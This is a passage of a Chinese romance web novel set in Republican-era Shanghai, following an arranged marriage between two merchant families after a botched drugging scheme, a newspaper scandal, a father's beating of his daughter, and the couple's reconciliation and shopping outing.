昨晚上,事情发生后,面对当时几乎在场的所有人都目睹了杭景环狼狈的一面,凌杭两家颜面尽失,为了挽回面子,凌老爷提议,要不然就让两人把婚事办了,堵住悠悠众口。
出了这种事情,无论如何都是女方吃亏,即使杭景环有千万个不情愿,面对这种情况也是有口说不出。杭老爷没有提出意见,二老爷作为亲爹自然是心疼女儿,只道要回去考虑一下。
“现在还能怎么办,只有这一条路了。二老爷坐在厅堂上首,喝着茶,叹气。
“怪只怪,你太笨了,怨不得别人。”
杭景环面对父亲的数落,哭得更大声。
躲在厅堂外偷听完对话的杭景环惊呆了,她不知道她的小聪明会酿成今日的后果,凌二少爷听闻是个花花公子不务正业,妹妹嫁过去,必然会举步维艰。纵然她不是太喜欢这个妹妹,可也不想她过不好。
本来自己筹谋失败遭遇这些事,自作自受,大不了嫁过去,也不是没有心理准备过,她可真是万万没想过要把自己堂妹推进火坑啊。
妹妹的哭声充斥这耳膜,也让她的良心承受着煎熬。
没等她自己煎熬多久,她就得到了父亲的召唤。
杭景妍内心惶惶,出了这样的事,估计父亲也知道自己做的事情了。
走进正堂大厅,父亲坐在上首,默默喝着茶,面上看不出喜怒,母亲也坐在下首,默不作声。
杭景妍进来,低声叫人。
杭老爷重重放下茶杯,砰的一声,发泄着愤怒。
“你还有脸叫我父亲,你看看你做的好事,我们杭家的脸都给你丢尽了。”
她也只这件事是自己理亏,不敢辩解,低着头不发一言。
“本来两家联姻的事情,我也不想逼你,家族公司的情况,也不想跟你说,如今在国际资本的围追堵截下,父亲也是独木难支,只有和凌家联合才能走下去,况且凌栖珵年少有为,人品贵重,未来必定能成就一番事业,是个值得托付终身的人。”
“你扪心自问,你几次和他相处下来他人品如何?难道父亲会把你的终身幸福当儿戏吗?”
“而你为了自己的私欲,竟然陷害自己的堂妹,你不知道女孩子的名声是最重要的吗,身为女子,怎么能做出这种事情!”
“公司真的快不行了吗?父亲。”杭景妍抬起头来,双唇微张,带着些微惊讶。
她没想到,父亲的处境竟然已经这样艰难。
杭老爷微闭双眼点了点头。
他又叹了口气,“竟然你这样不想嫁过去,又出了这样的事情,你堂妹的名声被毁,为了两家名声,只能由他两结婚,也算了了你一桩心事,以后为父再也不逼你了。”
杭景妍羞愧不已,她也不敢把自己发生的事情说出来,更不敢反悔说自己愿意为了家族嫁给凌栖珵,生怕堂妹觉得是自己跟她抢男人,故意陷害她,玩弄她。
至少凌栖珵不结婚,堂妹就还有希望,昨天发生的事情,到了如今的地步,就让它烂在肚子里吧。
天知地知,当事人知。
或许另一当事人也未必知晓,总之当个永远的秘密对所有人都好。
日上三竿,凌栖珵模模糊糊睁开了双眼,缓了缓,才看清自己在那,只记得昨晚迷迷糊糊的回到了自己的房间,就昏睡了过去。
见自己果然在自己房间中醒来,放心了一半。
掀开被子准备下床才发现自己□□,暗暗吃了一惊。
努力回想昨晚发生了什么,只记得,自己晕倒在了摄影室里,不知过了多久迷迷糊糊爬了起来,脚步虚浮地走回了房间。
又躺了许久,被身体内窜出的热度烧的左右翻滚,他好像看见了一位温柔的女子坐在他床边,带着丝丝凉意,身体的本能让他想要靠近,后来的事情就再也想不起来。
但是通过床上的一片狼藉也能想象出到底发生了什么事,又联想起昨晚杭景妍递给自己的那杯酒,看来是那杯酒有问题。
只是不知道她给自己下药是为了什么?昨天那女子是谁?如果是别人自己毁了人家清白肯定要负责任,这桩婚事就这样毁了。她就这样不想嫁给自己吗?
带着数不清的疑问,下床洗漱。
昨天自己没打一声招呼就消失了,父母必定责问,先去父亲书房请罪。
书房外一片寂静,原本父亲每天早上都定时在书房练字,这时却房门紧闭。
凌栖珵深感疑惑,问了下人,下人告诉他老
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爷还在休息。
他更觉得奇怪,父亲不像是偷懒之人。
到了餐厅用餐,也是只有他一人,其他人都不见了踪影。
只好招管家来问昨天他走后到底出了什么事,怎么今早一个人都没有。
管家如实回答二少爷和杭家二小姐的事情。
昨晚大家都为了他两的事情熬了一个通宵,所以现在都去补觉了。
凌栖珵对于这个庶弟的事情向来漠不关心,只是心里升起了一个疑问,昨晚那个人不是杭景环,那是谁?杭景妍吗?
他的疑问很快就得到了答案。
号外号外,沪上纺织业巨头面临破产,卖女求荣,杭家大小姐二小姐留宿凌家整夜未出。
报纸更是极尽渲染作者从线人出得到的小道消息,结合今早杭景妍从凌家狼狈而出的状态。
一时间杭家凌家颜面尽失。
大家都在猜测凌家是否会救此时在夹缝中生存的杭家。
也有人认为凌家趁火打劫,要人家女儿,还可以趁机入股杭家事业。
也有人在议论到底是哪位小姐配哪位少爷,怎样个配对法。
众所周知凌家有两位少爷,一位嫡出的大少爷,一位庶出的二少爷。
大少爷英俊儒雅,一表人才,能力出众,行事沉稳。堪当大任,但大房被冷落多年。
二少爷是姨太所出,虽然长的也算英俊潇洒,但不学无术,整日流连花丛,一副风流公子做派。
二姨太凭借多年受宠,颇有扶持儿子上位之势。
如果两位小姐都嫁给老大,二房如何能善罢甘休。
如果都嫁给老二,大房又情何以堪。
看被拍到的前面的照片是二小姐和家人一起出来,面容憔悴,后面是大小姐自己出来,形神涣散,衣衫不整。
如果真出了事情,这也像是二少爷的做派。
昨晚两位小姐到底在凌家发生何事?
如此雾里看花,水中看月的事情极大地勾起了普罗大众的窥探心思。
本来联姻这件事只是沪上小圈子里知道的事情,报纸一出,这下整个上海滩在议论。
在外滩凌氏大厦,总经理办公室中,凌栖珵看到了今天的报纸。
震惊,讶异,报纸上杭景妍憔悴的模样勾起了他阵阵心疼,永动的心肌细胞像被人用一双手揉捏过一样,酸疼不是滋味。
他万万没想到昨晚的女子是她,虽然想不通她为什么要这么做,但是此事一出,她女孩子的名节必然受损,不知道她在家会经历着怎样的惩罚。
实在是让人忧心不已。
想了想,他拿起电话,打到了杭府上。
电话响了很久才有人接听。
是个丫鬟。
“这里是杭公馆,你找哪位?”
“叫你们大小姐接电话,我是凌栖珵。”
“大小姐被老爷惩罚了,正在跪祠堂呢,恐怕不能来接你电话了。”丫鬟左右偷看,压低声音道。
“她怎么了。”听到她出事,凌栖珵的心一下子提了起来。
“我也不清楚祠堂的情况,挂了,要是让人知道我乱讲话就不好了。”丫鬟匆忙挂了电话。
挂了电话后,凌栖珵担忧不已,不顾凌氏大厦下面有可能出现的记者,拿起外套,匆匆离去。
10. 第 10 章
“你,你,你,你自己说,昨晚你去了哪里,干了什么?我杭家的脸都要被你给丢光了。”
杭老爷气的手在发抖,把今天的报纸扔在她的面前,不住地指着她质问。
杭景妍捡起了被扔在脚边的报纸看了一眼,早上她狼狈逃出凌家的一幕被记者拍到了。
现在的她是百口莫辩。
只能怪自己倒霉,谁叫她走错了门,还有自己那个愚蠢的妹妹,竟然自己跑去凌栖珩那个花花公子那里去。
送上门的羔羊都能搞丢,还连累了自己。
你怎么不说话?你妹妹说昨晚是你叫她去那个房间,才导致她被凌栖珩轻薄,我相信你不是故意害妹妹,那么你本来叫她去见谁?昨晚发生了那么大的事,你和凌大少爷去哪了?杭老爷连声质问。
“也没什么,说白了是我这妹妹笨,本来她带了药过来想把凌栖珵迷晕好生米煮成熟饭,我看她不敢下药就帮了她一把,结果没想到这个笨蛋,竟然会找错路,还找到了凌栖珩那边去,而我更倒霉了,找个房间休息下,就找到了凌栖珵的房间,被他给睡了。”事已至此,瞒着也没什么意思了。杭景妍耸着肩,双手一摊,故作轻松地把,把昨天发生的事情和盘托出。
“父亲你不去怪罪小报乱写,到来怪罪我。我也是受害者。”说完又继续给自己辩解。
“我从小怎么教导你做一个大家闺秀的,你竟然去给凌大少爷下药,你们姐妹两竟然出这种败坏门风的事来,真是家门不幸!”
“我杭正则怎么有脸去面见列祖列宗。”
杭老爷痛心疾首,捂着胸口,气急地吩咐管家:“去请家法。我今天就好好教教你规矩,我以前真是太纵容你了”
在一边的管家见老爷动了真格,上前扶住老爷耐心相劝,毕竟是从小看着大小姐长大的他于心不忍。
可杭老爷正在气头上,一把推开管家,怒道:“快去!”
管家见状也不敢过多忤逆,只好按吩咐办事。
不多时,一根二尺长的荆条被拿了上来。
杭老爷拿起荆条,就准备往女儿身上抽。
杭景妍立马弹跳起来,往门口跑去,“爹,你还真打,长那么大你都没有打过我。”
“砰,眼前一黑,她碰在了一堵肉墙上,头上传来一阵钝痛,她还没反应过来,一双手快速伸过来搂过着她转身。
一声闷哼想起,杭景妍听见声音抬起头来。
凌栖珵不知何时出现在门口,搂着她,替她挡下了着一闷棍。
荆条上的刺打在皮肤上渗出丝丝血迹,染红了衣服。
凌栖珵本来就担心她会出事,来到杭家找到了祠堂,一阵黑影撞了上来,还来不及多想。
荆条扇动的风拂过,眼见荆条落下,身体本能反应带着人一旋。
刺痛感通过细微神经,丝丝传入大脑,感觉有什么东西流了出来。
突如其来的状况让杭老爷楞住了,反应过来的他连忙扔了手里的荆条,呼唤管家拿药。
管家下人们也被吓的愣住了,听见吩咐,手忙脚乱下去找药。
凌栖珵强撑着身体的疼痛,对着一旁的杭老爷道:“伯父,事到如今,不是责罚景妍的时候,现在应该平息舆论,追究小报乱写的责任。”
杭老爷叹气:“如今只能是你们尽快完婚,堵住悠悠众口。”
看着鲜红的血液一点一滴染红了衬衣,杭景妍眼眶泛起了红,她扶着他小心翼翼的坐下来:“你可以躲,为什么要救我。”
他弯起唇角,笑了笑:“保护自己的女人不受伤害,是每一个男人应尽的责任。”
他的这番话让她动容,明明是她的错,他却没有责怪她,还在关键时刻保护着她。
她眼泪不受控制地夺眶而出,滴落在他的手背上,炙热的温度仿若灼伤了心脏,激起他的怜悯。
凌栖珵抬起手轻柔拂过她莹白的小脸,为她抹去泪珠:“别轻易掉眼泪,女孩子的眼泪是最珍贵的。”
杭景妍抓住他为她抹泪的手,娇嗔道:“你还有力气安慰我。”
凌栖珵反手握住了她的手,温软有力,骨节分明的大手源源不断给予她力量。
杭景妍对着父亲回答道:“我同意结婚。”
她用力回握牵着自己的这只手,她愿意相信他,只因这一刻的温暖。
如果这是一场赌局,她也只能孤注一掷。
杭老爷抬头看了女儿一眼,这一眼,包含了万千情绪。他站起身离开了祠堂,“既然如此,剩下的婚礼的事,我会与凌家商量。”
凌栖珵抬起两人交握的手,在她手背轻柔地落下一吻:“谢谢。”
他知道,她能答应结婚,是下了多大的决心。千言万语在胸腔激荡,最后只能化作这句感谢。
管家端来了药,两人不好在祠堂上药,杭景妍带着他回到自己的院子。
回到自己屋内,杭景妍把管家给的药放在了床头,一个个拧开了瓶子,用棉签沾了药,转回身准备给他上,凌栖珵却坐在沙发上没有任何动作。
杭景妍用那双清澈的双眼望着他,用眼神询问他在干什么?被泪水清洗过得双眸似迷路的小鹿,湿漉漉的,带着一丝迷茫,眼波流转间又带着丝丝妩媚风情。
凌栖珵想起昨晚,她的娇羞,她小猫般的低吟,大大的双眸被迫浮上水雾,在月光下闪着红润的薄唇因忍耐情欲的翻腾被她反复撕扯。
他以为是哪来救他于水深火热中的仙女,也做好了为此事付出了代价。
却没想到竟然是她。
虽然她的本意是把他送给别人,推脱掉这门婚事。他也曾经放下重话,如果她们姐妹再算计他,他一定会让她付出代价。
可当亲眼看见她受到责罚,他不能无动于衷。
荆条鞭打在身上的疼痛,只当是荒唐一夜的代价。
杭景妍见他还在楞神,只好拿着棉签走了过来:“你在想什么?老半天不动,脱衣服。”
她用没有拿棉签的手,往从下往上开始一颗颗解纽扣。
凌栖珵抓住她解他衣服的手:“我自己脱。”
他站起来背对着他脱下了沾满了血的白衬衣:“你真是越来越野蛮了,刚刚在你父亲面前,你也要来脱男人的上衣。
本来他不想麻烦她的。他知道她昨晚一定没休息好。倒是没想要他的未婚妻那么生猛直接。
杭景妍现下也收起了刚才在祠堂的小女儿姿态,又恢复了霸道直爽的本性。
“你昨天脱我衣服怎么不说,今天就是报复你一下。”她恶狠狠的用上了药的棉签压在他的伤口处。
本来以为他会反唇相讥,结果凌栖珵却异常沉默,也没有呼痛。
过了很久他才说:“对不起,我知道昨晚对你而言很糟糕,你一定很痛,我并不想这样”
他这样坦荡,让杭景妍无言,她也坐在一旁的沙发上,把手中上了药的棉签丢进脚边的垃圾桶。
沉默了好一会,她才道:“你用不着跟我道歉,我是自作自受。”她又拿了一根棉签站了药水消毒,顺手涂上了昨晚她在她身上抓的指痕。
“可
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能是,月老喝醉酒牵的红线吧,兜兜转转都把我们牵在了一起。”
气氛突然变得凝重,凌栖珵想逗她开心点。
他装作一本正经地点了点头:“也有可能是你太笨,那是我的房间你都不知道。”
杭景妍:“..........。”
她被凌栖珵怼的面目通红,羞愤至极的她站起来,泄愤似的把棉签往他身上一丢:“既然我那么笨,你还是自己上药吧,得了便宜还卖乖。”说着起身欲走。
凌栖珵反手拉住她的手,温热的手掌帖着她冰冷的指尖,“我开玩笑的,你还当真了,再说了我老婆用不着聪明,我聪明就够了。”
“不行,说我老婆是天下第一聪明的女人。”
从小她就反感男性对女性的贬低,觉得女性只能依赖他们,是他们的所有物。
凌栖珵顺从道:“我的妻子是天下第一聪明漂亮的,是仙女下凡,此物只此天上有,凡间哪得几回闻。”
杭景妍心满意足,继续给他上药。涂好给他裹了纱布,又去浴室给他找个条浴袍:“你的衣服染上了血,先穿这个吧,把衣服给绮绿洗干净。”
凌栖珵穿上她的浴袍坐起身,浴袍松垮垮套在身上,在腰间随意打个结,领口大开,露出胸前大片小麦色肌肤。
女士的服装即使宽大,套在男子高大的身材下也变得狭窄,他套着她的衣服,说不出的怪异。
突然,听到院子中传来一声呼喊。
“杭景妍,你给我出来。”
杭景环在院子里大喊大叫。
绮绿连忙放下手中的活上前劝道:“二小姐,您小点声,大小姐正招待客人。”
杭景环并不理会她,推开她就要往里面闯。
杭景妍收拾好上药的伙计,洗了手,从洗手间出来:“你在这里大喊大叫干什么,你不知道礼仪吗?”
杭景环此时早已被之前听到的姐姐和凌家婚事激的气愤不已,二话不说上前就给了姐姐一巴掌。
一声清脆巴掌声响起,动作之快,杭景妍都被打懵了,左脸火辣辣的痛。
杭景环还想再打,凌栖珵眼疾手快地站起来,抓住了她的手,往后一推,她被推的退后几步。
凌栖珵心疼地抚摸上她被打的左脸,白嫩的脸颊已经通红一片。
“我还真不知道杭家竟然还有你这种没家教的女子。”
凌栖珵从小接受的教育,见识的人和事,都是面上有礼有节,无论多么讨厌对方都只会在暗地里使绊子,从没有当面撕破脸伤和气的事。
毕竟凡事留一线,日后好相见。他没想到他在杭家倒是开了眼界。
“你竟然帮她说话,你知不知道她对你做了什么。”杭景环气愤辩驳。
“我知道,但是始作俑者是谁,想必我们都很清楚,做人还是脚踏实地,别去肖想不属于自己的东西,免得自寻烦恼。”
话里话外的意思都是明确的拒绝了杭景环,并且讽刺她的行为。如果她还执迷不悟,那他也用不着客气。
杭景妍怕凌栖珵做出什么事来闹大了大家都不好看,拦住他上前对妹妹道:“你沦落到今天的地步,我也有过错,这一巴掌,算我欠你的,现在我还了。”
从此两不相欠,各走各路,以后有什么事,别再来赖上她。
“绮绿,送客。”杭景妍转身回房。
凌栖珵留下对杭景环道:“看在景妍的面上,如果你不想嫁给我二弟,我可以安排你出国。”
这算是他对这个一直觊觎她的女人的最后一滴仁慈。
11. 第 11 章
凌栖珵回到了小客厅。
刚走了两步,感觉脚下有个东西卡着,他停下脚步,低头察看,一直橘黄色的大猫躺在他的脚边打滚,伸懒腰,阻拦着他前进。
“瞄。”的一声,好像在说你是谁,为什么闯入了它的领地。
“气球,快起来。”杭景妍命令道。
凌栖珵和气球僵持了两秒,跨过了它肥硕的身躯,走到了杭景妍身边。
他焦急地转过她的身躯,让她面对着他,转过她左脸细致地观察着。
此时被打过的左脸微微浮着五根手指印,有点肿胀了起来,他轻轻碰了一下,杭景妍立即呼痛,伸手打掉他的手。
“你轻点,不懂痛吗?”她睁圆了杏眼,微微上挑的双眼带着怒火,斜睨着他。
眼眸光波流转,光华璀璨。
让他想起了第一次见面时,也是这双眼,眼波流转带着莹莹泪光,让人不忍拒绝。
他唇角微弯,故意取笑她:“你不是挺厉害的吗?怎么刚刚不见你还手。”
杭景妍果然被激的立马站起来往他刚刚涂药的后背伤口上狠狠地按了下去,“你不是挺厉害的吗?怎么不见你去跟我爸对打。”
背上一阵刺痛传来,刚刚上的杀菌的药更是加剧了这种疼痛,凌栖珵咬着牙忍着,左手抓着她在他后背上作乱的纤纤玉指,一用力,一转,杭景妍已经落入了他的怀抱。
他两手掐着她不盈一握的腰肢,让她动弹不得:“我可算明白了,你是对害你的人心怀仁慈,对一心对你的心狠手辣。”
贸然跌入他的怀抱,杭景妍也不起身,毕竟什么都做过了,也决定要结婚了,现在来矫情也太晚了。
她安然瘫在他怀里,挑衅:“怎么后悔了,现在还来得及,我那个便宜妹妹可等着呢。”
凌栖珵装作思考的模样,假意沉思:“我想了想,我还是为人类做贡献收了你吧,免得你再去祸害别人。”
他的话逗乐了杭景妍,她呵呵笑了起来。
“那就多谢凌公子,勉为其难的为全人类做贡献了。”
“不用谢,我向来舍己为人。”凌栖珵唇角微弯,强忍着笑容,没有笑出来。
两个人相视而笑的温馨画面,让端来鸡蛋的丫鬟绮绿进退两难。
不想打扰两人,但是小姐伤势又不能不顾,左右为难之际,杭景妍发现了站在门口的她。
从凌栖珵的怀里起身,坐在了旁边的沙发上,顺手理了理耳边发髻,把耳边碎发别在耳后,来掩饰自己的心慌,而后吩咐道:“把东西放茶几上吧。”
绮绿走过来,把煮好的水煮蛋放在桌面上,身后跟着闻到味过来的‘橘气球’。
‘橘气球’跟着水煮蛋跳到了桌面上,头伸过来嗅着,一副馋猫模样。
绮绿伸手挡着气球的头,另一只手拿起鸡蛋准备剥壳,刚煮熟的鸡蛋烫的她‘啧’了一声。
放下了手里的鸡蛋,用手指捏着耳垂降温。
凌栖珵拿起了桌上的鸡蛋:“还是我来吧。”
他骨节分明修长洁净的双手接过鸡蛋,在桌面轻轻磕碰,鸡蛋屁股碎裂,他用修剪整齐的指甲一块块地剥着鸡蛋壳。
不一会鸡蛋壳整个剥离,鸡蛋露出它洁白的肌肤。
他双手滚动着鸡蛋,散发着热气,又小心吹气,让鸡蛋凉的快一点。
“来,用鸡蛋烫一烫,消消肿。”凌栖珵拉过她,用鸡蛋轻柔的触碰她的脸颊。
“嘶。”杭景妍被烫的瑟缩回去。
“好烫啊,能不能轻点?”她不满抗议。
凌栖珵拉着她的双手稳住她退后的身躯,“别动,这样才好的快,否则明天你就会肿成大头猪。”
他等她皮肤适应鸡蛋的温度后,用鸡蛋在她的左脸上反复滚动着。
随着皮肤适应了温度,鸡蛋在脸上滚动的温度点点滴滴渗透进去,整个左脸都温暖起来,压住了刺痛感。
等凌栖珵给她敷完茶几上的鸡蛋,她脸上的红肿也消退大半。
凌栖珵又给她抹上绮绿准备好的膏药。
清清凉凉的质感让人心旷神怡。
她心情好起来,把鸡蛋一点点捏碎喂给气球:“来,气球吃。”
大吃猫橘气球见有吃的立马跳到她的腿上用手扒拉着她的手,让她把食物送到嘴边,大口吃起来。
凌栖珵给她的脸上完药,盖上了盖子。
吩咐她今晚洗澡别动水。
杭景妍好笑地看着他,举起橘气球对着他道:“你看你爸爸真的好啰嗦。”
真的是把她当小孩子了。
凌栖珵也被逗乐了,摸了摸橘气球的头。
橘气球好像并不喜欢这个突然冒出来的爸爸,抗议地“瞄。”了一声。
“看来气球不是很喜欢你啊。”
此时,恰好绮绿拿着凌栖珵洗好的衬衫进来道:“小姐,凌少爷的衣服洗好了。”
凌栖珵换上洗好的衣服,戏谑道:“那我还是别碍着它的眼了。”
杭景妍也起身送他出门:“看在你受伤的份上,不为难你了,下次记得给我家气球上供点好吃的,毕竟你是跑得了和尚跑不了庙,已经上了我这条贼船了。”
凌栖珵嘴角含笑,默认了她的要求。
与她挥手告别。
走出杭府大门,大批记者一涌而上。
闪光灯,快门声此起彼伏,记者的问题蜂拥而至。
“凌少爷,您现在从杭府出来是决定和杭家小姐结婚了吗?”
“凌家是不是对杭家的产业有所企图才促进了这桩姻缘?”
杭府的门房见此情景,上前来驱赶记者,凌栖珵在司机的开道下一言不发地上了车。
他没有再回公司,直接回到了家里。
凌公馆
凌栖珩在幸灾乐祸:“我还没对那个杭二小姐做什么,你们就说我丢脸,逼我娶那个女人,现在你们口中的十全十美的接班人又是如何败坏门风的,这下全上海滩都知道了。”
凌太太在旁边一言不发,她本人平时极度隐忍,从不让人找到把柄来拿捏自己。
凌老爷刚和杭老爷通完电话,商量好
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如何应对此事。
他走下楼来,刚好听到了这句话:“如果你也像你哥一样能为我为家族分担,那我也可以偏心你一点。”
凌太太,二太太纷纷起身招呼。
二太太知道儿子闯了祸,不敢像平时那样猖狂,陪着小心道:“老爷和杭家老爷商量好了这事怎么办吗?”
“杭老爷已经与我说了,刚刚栖珵去了他那请罪,希望能尽早迎娶景妍过门。”凌老爷吸了口烟,又道:“既然如此,太太,剩下该走的礼节就烦劳你去操心了。”
话音未落,凌栖珵走进了客厅。
他上来的第一时间先承认错误:“父亲,这件事都是我的错,让家族蒙羞了。”
凌栖珩在一边冷哼,一副看好戏的表情。
在他看来他这个同父异母的哥哥最是虚情假意。
凌老爷对大儿子做出这事的态度与小儿子截然相反:“这件事本来也无可厚非,只是被拍到捅了出来,被人借其发挥,着实损害了家族的名声。”
“我知道,父亲,剩下的一切,都由我来处理。”
凌老爷听儿子这样说点头表示同意。
凌栖珵回到书房,一个电话打给助理,今天他担心景妍早早离开了公司,从杭家出来以后直接回了家,助理还在公司忙,没有下班。
他接到老板电话,要求他给那几家乱写文章的报社施加压力,撤下报道,并且公开开除拍照的记者,并且向凌家与杭家道歉。
助理张章一一按照吩咐给各家报社主编打电话。
不到二十分钟,凌栖珵书桌上的电话铃声此起彼伏的响起。
他接起电话,那边报社的主编,赔着小心道歉,并保证已经开除了拍到杭小姐的记者,乱写文章的编辑也一并开除,希望凌少爷大人不记小人过,放过他们一次。
凌栖珵在电话一边警告道:“我看你们最近是吃的太饱了,都忘记了谁才是你们的衣食父母了,接下来,你们按照我的吩咐做。否则我不保证过几天你们报社的大门还能正常开张。”
一番吩咐后,凌栖珵才挂了电话。
交代完了这些,他回到了自己的房间,今天房间没有被人打扫过,凌乱的床单揭示着昨晚发生了什么。
他坐在床边盯着床单上的红色,深邃的眼眸按了按,眼神复杂,事情有点出乎他的意料,不过这也算是把计划好的事情提前了,思及此,他俊逸清冷的容颜又荡开了一抹笑容。
不出几个小时,就传出了报社的道歉声明,说是不入流的记者捕风捉影,用一张照片来编故事。
凌杭两家历来交好,昨晚凌老爷子大寿,只是杭家人只是喝多了才歇了一夜再走,绝对不是记者的意淫发生了什么不得了的事。
对于造谣生事,污蔑两家人声誉的记者,凌家和杭家保证追究到底。
关于拍到这几张照片的记者,听到风声,立马连夜收拾行李离开了上海滩。
喧嚣了一天的舆论就被这样一则声明消弭。
但是众人对于凌家和杭家的联姻疑问,两家人也没有回答。
12. 第 12 章 浪漫求婚
不过,这些东西暂时与杭景妍无关,外界的纷纷扰扰她都不想去理会。
抱着橘气球,一人一猫早早地进入了梦乡。
早上,鸟儿在枝头鸣叫,橘气球率先被鸟叫声惊醒,它一溜烟从床上串起,跑去院外追逐鸟儿,不一会儿就串上了树,惊得鸟儿四散逃逸。
杭景妍被院里的动静惊醒,她叫了一声气球,橘气球喵喵叫的跑回她的身边。
她摸了摸气球的头,起床洗漱。
她是在吃早餐时,从拿来的报纸上看到了凌家对此事的解释。
看来凌栖珵还是有两把刷子,并没有辜负她对他的信任。
但是他也没有他们要结婚的事情公之于众。
杭景妍对此也是疑惑。
他们难道就这样不在乎自己的名声,这种声明,也就是骗骗自己,鬼都不信。
如此思考,更觉得生气。
她把报纸扔一边,眼不见为净,毕竟是自己家有求于人,还不是人家说什么就是什么,自己就像案板上的鱼肉,任人宰割。
凌栖珵那个狗男人,在她面前演的那么好,她是被猪油蒙了心才相信这够男人,果然,男人的话能相信,母猪都能上树。
吃完了早饭,为了转移下愤愤不平的情绪,杭景妍接过绮绿手中的鸡胸肉,撕成一条条,喂着橘气球。
等橘气球吃饱后,又用逗猫棒逗着‘气球’玩,看着它上蹿下跳的矫健身影,阴郁的心情也好了一半。
一人一猫在小院子里开心的玩耍的开心,几天未见的好姐妹静冉前来探望。
静冉踏入小院,见好友在院中和猫猫玩耍,会心一笑:“还以为你会为此一蹶不振,所以特地来看看你。”
杭景妍收起了逗猫棒,安抚般摸了摸‘气球’的头,把它抱在怀里,走进房内:“想不开又怎样,想的开又怎样,反正我已经被卖了。”
“还好,还有它陪着我。”说着又摸了摸气球。
静冉疑问:“凌家究竟是个什么态度,为什么不直接宣布婚事呢。这样让你很难堪。”
杭景妍冷哼一声:“你问我我怎么知道,可能是不想授人以柄吧。”
气氛就此凝住,静冉转移话题道:“我就是怕你一个人待在家里会想不开,来带你去外面逛逛。”
她拉起杭景妍就往外走。
坳不过她,换了一套衣服,带着气球两人相携出门。
两人各自骑了一辆自行车,杭景妍把‘气球’放在车前框中,一前一后骑行在马路边边上。
在市中心的永安百货,两人从下逛到上面,一路服装,首饰店一家不落。
在一件又一件的换装游戏中不亦说乎,不多时就斩获颇丰,法国进口的洋装,时下电影里最流行的新款旗袍,统统买下。
销售见到大主顾,更是鞍前马后,彩虹屁吹得飞起。
气球更是大摇大摆在时装店中巡视着。
买完了衣服,两人手上也是大包小包抗不下了。剩下的只好叫送□□。
他们继续探索还有什么新奇玩意。
两人发现了买卖摄像机的店面,对于杭景妍这个摄影迷来说相机永远是最吸引人的。
她跟老鼠见了大米似的走不动道了。
她进去,对着柜台上的伙计:“伙计,你们这有什么新货统统拿出来。”
伙计看她举手投足都是富家大小姐的派头,赶忙殷勤招待,指挥着下面的人:“去,刚刚从德国进口的新货拿出来给大小姐看。”
吩咐完伙计又指引杭景妍一行人在休息区等候,随后端上了点心茶饮:“小姐们,稍后,先用的茶,货马上送到。”
不多时,莱卡相机的四五款新品都一一摆在面前。
杭景妍心花怒放,点心也顾不上,一个个相机摆弄着,爱不释手。
每一个都试验了一遍后,她大笔一挥,对伙计吩咐:“这我全要了,到时送到杭府上。”
杭景妍对对面的静冉讲述了那天在凌家看到的凌栖珵的收藏。
“你知道吗,他收藏了满满一整面墙的相机,我当时看到都惊讶极了,羡慕嫉妒恨。现在我也要开启我的收藏,早日达成一面墙的成就。”
静冉用一副看傻子的眼神怜爱地看着她:“你跟他结婚了,夫妻财产共同拥有,他的不就是你的了,大不了把那一面相机墙送你呗。”
杭景妍虽然很垂涎那些相机,但是她也没有龌蹉的霸占别人东西的想法。毕竟求人不如求己。
“算了吧,还是自己得来的东西更安心。”
静冉对她简直就是一副恨铁不成钢的心情,算了,这蠢女人没救了。
杭景妍从桌上拿走了其中一款相机,像宝贝似的挂在胸前,其他的伙计打包,抱着‘气球’与静冉相携离去。
转眼到了中午,两人逛了一早上也饥肠辘辘,静冉说,要不找个咖啡店吃点东西喝个咖啡休息一下。
杭景妍想到这里离上次凌栖珵带她去的馄饨店不远,带着静冉便去了那家馄饨店。
“我跟你说,那家馄饨店可好吃了,她家的虾仁馄饨,荠菜混沌,泡泡馄饨都是一绝啊。”
杭景妍边走边数家珍一样跟静冉说。
“可是天天大排长龙的,上次凌栖珵说是他的店,这回我们趁一下他的名号吃好吃的。”
静冉无声失笑:“你啊,真是个吃货,干什么都不忘了吃。”
杭景妍把猫放在车前框里,和静冉两人骑车前往传说中的馄饨店。
转了两条街,传说中的“老两口馄饨店”前果然大排长龙。
两人停好单车,抱着猫绕过排成一排的队伍,径直走到店里面。
别看外面排着大队伍,但是店内还是挺宽敞的。
杭景妍在店内四处打量着环境,还没来得及开口跟老板报上凌栖珵的大名。
身边的静冉在一边碰了碰她的肩膀和她咬耳朵道:“凌栖珵没事开那么大的店来干嘛?”
说话声音不大不小刚好传到了跑堂的小厮耳中,小厮多看了她两一眼,认出了这是昨天闹得沸沸扬扬的女主角,凌家未来的少夫人。
他恭敬地上前来招呼杭景妍,一路把她领到小包厢去:“原来是杭小姐,凌少爷交代过,您最喜欢小店的混沌,所以小店特意为您留了位置。”
杭景妍也不跟店小二客气,边走边吩咐上两碗鲜虾馄饨,一份蟹粉小笼。
正准备进包厢之际,店内响起一阵骚动,两人纷纷转头看去。
只见一打扮新式穿西式小洋装的妙龄女子进店来。
店小二扔下了杭景妍她们两,迎了上去,脸上堆满笑容道:“二小姐,是哪阵风把你吹来了。”
“刚好在这附近,就顺便过来解决下晚餐。”
凌绘雨环顾了一周,店里都坐满了人,外面还拍着对,留给哥哥的包厢此时正有两位女子准备进去。
她走上前来,才认清这是她未来嫂子。
想想真是有缘分。
她走进了包厢,找了个位置坐下,也没有自报家门,反倒是对着她两饶有趣味道:“实在是没位置了,不介意我跟你们一起吧。”
杭景妍未及开口,怀中的橘气球从她身上跳了下来,大摇大摆地开始巡视领地了。
凌绘雨见到一只毛色油光亮滑通体金黄,威风禀禀,宛如小老虎的大橘猫瞬间喜爱上了。
她伸手抚摸着猫猫的头顶道:“好可爱的猫猫。”
杭景妍见她如此喜爱猫猫想必是为良善之人,而且这是凌栖珵的包厢,别人随意进入而小厮又没有阻拦,想来是和他家有关,自然没有什么可说。
她笑了笑,答道:“不介意。”
等到馄饨和蟹粉小笼端了上来,杭景妍和静冉便开始大块朵颐起来。
静冉尝了一口自己的鲜虾馄饨,更是对此赞赏不已。
“这真是上海滩难得的数一数二的馄饨。”
杭景妍得意道:“我说的没错吧,我看中的可是好东西。”
食物的香气和两人的吃相让对面坐着的凌绘雨偷偷咽了咽口水,肚子都在抗议了,怎么点的饭菜还没到。
小厮这时候敲门道:“不好意思,二小姐,馄饨只剩半份了。”
小厮带着歉意端上了只有半份的荠菜馄饨。
杭景妍听到了小厮称呼对方为二小姐,大概猜到了她也是凌栖珵的妹妹,只是前几天的凌家宴会怎么没见她。
这位看上去和上次那位嚣张跋扈的庶妹不太一样。
